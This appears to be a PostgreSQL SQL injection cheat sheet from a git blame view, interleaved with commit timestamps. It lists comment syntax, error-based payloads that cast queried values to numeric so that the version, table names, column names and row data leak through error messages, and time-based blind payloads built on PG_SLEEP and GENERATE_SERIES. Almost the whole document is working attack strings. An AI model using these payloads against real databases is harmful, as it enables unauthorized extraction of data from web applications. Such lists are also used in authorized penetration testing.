2016-11-29 16:27:35 +00:00
|
|
|
# POSTGRESQL
|
|
|
|
|
2018-05-20 20:10:33 +00:00
|
|
|
## PostgreSQL Comments
|
2018-08-12 21:30:22 +00:00
|
|
|
|
|
|
|
```sql
|
2018-05-16 21:33:14 +00:00
|
|
|
--
|
|
|
|
/**/
|
|
|
|
```
|
|
|
|
|
|
|
|
## PostgreSQL Error Based - Basic
|
2018-08-12 21:30:22 +00:00
|
|
|
|
|
|
|
```sql
|
2016-11-29 16:27:35 +00:00
|
|
|
,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
|
|
|
|
,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
|
|
|
|
,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name=data_column+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
|
|
|
|
,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)
|
2018-05-16 21:33:14 +00:00
|
|
|
```
|
|
|
|
|
|
|
|
## PostgreSQL Time Based
|
2018-08-12 21:30:22 +00:00
|
|
|
|
|
|
|
```sql
|
2018-05-16 21:33:14 +00:00
|
|
|
AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
|
2018-08-12 21:30:22 +00:00
|
|
|
AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
|
2016-11-29 16:27:35 +00:00
|
|
|
```
|